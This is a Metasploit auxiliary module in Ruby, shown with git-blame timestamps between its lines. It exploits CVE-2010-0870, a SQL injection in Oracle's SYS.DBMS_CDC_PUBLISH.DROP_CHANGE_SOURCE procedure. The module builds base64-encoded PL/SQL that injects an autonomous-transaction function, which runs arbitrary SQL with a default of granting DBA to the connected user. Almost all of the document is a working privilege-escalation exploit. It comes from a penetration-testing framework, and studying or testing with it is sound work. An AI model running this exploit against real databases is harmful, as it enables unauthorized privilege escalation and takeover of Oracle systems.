2010-04-26 21:36:36 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-04-26 21:36:36 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2010-04-26 21:36:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::ORACLE
|
2010-04-26 21:36:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE',
|
|
|
|
'Description' => %q{
|
|
|
|
The module exploits an sql injection flaw in the DROP_CHANGE_SOURCE
|
|
|
|
procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege
|
|
|
|
on the vulnerable package can exploit this vulnerability. By default, users granted
|
|
|
|
EXECUTE_CATALOG_ROLE have the required privilege.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2010-0870' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '63772'],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2010.html' ]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Apr 26 2010'))
|
2010-04-26 21:36:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2010-04-26 21:36:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
return if not check_dependencies
|
2010-04-26 21:36:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
|
|
|
|
var1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
|
|
|
|
var2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
|
2010-04-26 21:36:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
function = "
|
2010-04-30 08:40:19 +00:00
|
|
|
CREATE OR REPLACE FUNCTION #{name}
|
2010-04-26 21:36:36 +00:00
|
|
|
RETURN VARCHAR2 AUTHID CURRENT_USER
|
|
|
|
IS
|
|
|
|
PRAGMA AUTONOMOUS_TRANSACTION;
|
|
|
|
BEGIN
|
|
|
|
EXECUTE IMMEDIATE '#{datastore['SQL']}';
|
|
|
|
COMMIT;
|
|
|
|
RETURN NULL;
|
|
|
|
END;
|
2013-08-30 21:28:54 +00:00
|
|
|
"
|
2010-04-26 21:36:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
package = "
|
2010-04-26 21:36:36 +00:00
|
|
|
BEGIN
|
|
|
|
SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE('''||'||user||'.#{name}||''');
|
|
|
|
END;
|
2013-08-30 21:28:54 +00:00
|
|
|
"
|
2010-04-26 21:36:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
uno = Rex::Text.encode_base64(function)
|
|
|
|
dos = Rex::Text.encode_base64(package)
|
2010-04-26 21:36:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
encoded_sql = %Q|
|
2010-04-26 21:36:36 +00:00
|
|
|
DECLARE
|
|
|
|
#{var1} VARCHAR2(32767);
|
|
|
|
#{var2} VARCHAR2(32767);
|
|
|
|
BEGIN
|
|
|
|
#{var1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
|
|
|
|
EXECUTE IMMEDIATE #{var1};
|
|
|
|
#{var2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
|
|
|
|
EXECUTE IMMEDIATE #{var2};
|
|
|
|
END;
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE...")
|
|
|
|
prepare_exec(encoded_sql)
|
|
|
|
print_status("Done...")
|
2010-04-26 21:36:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2010-04-26 21:36:36 +00:00
|
|
|
|
|
|
|
end
|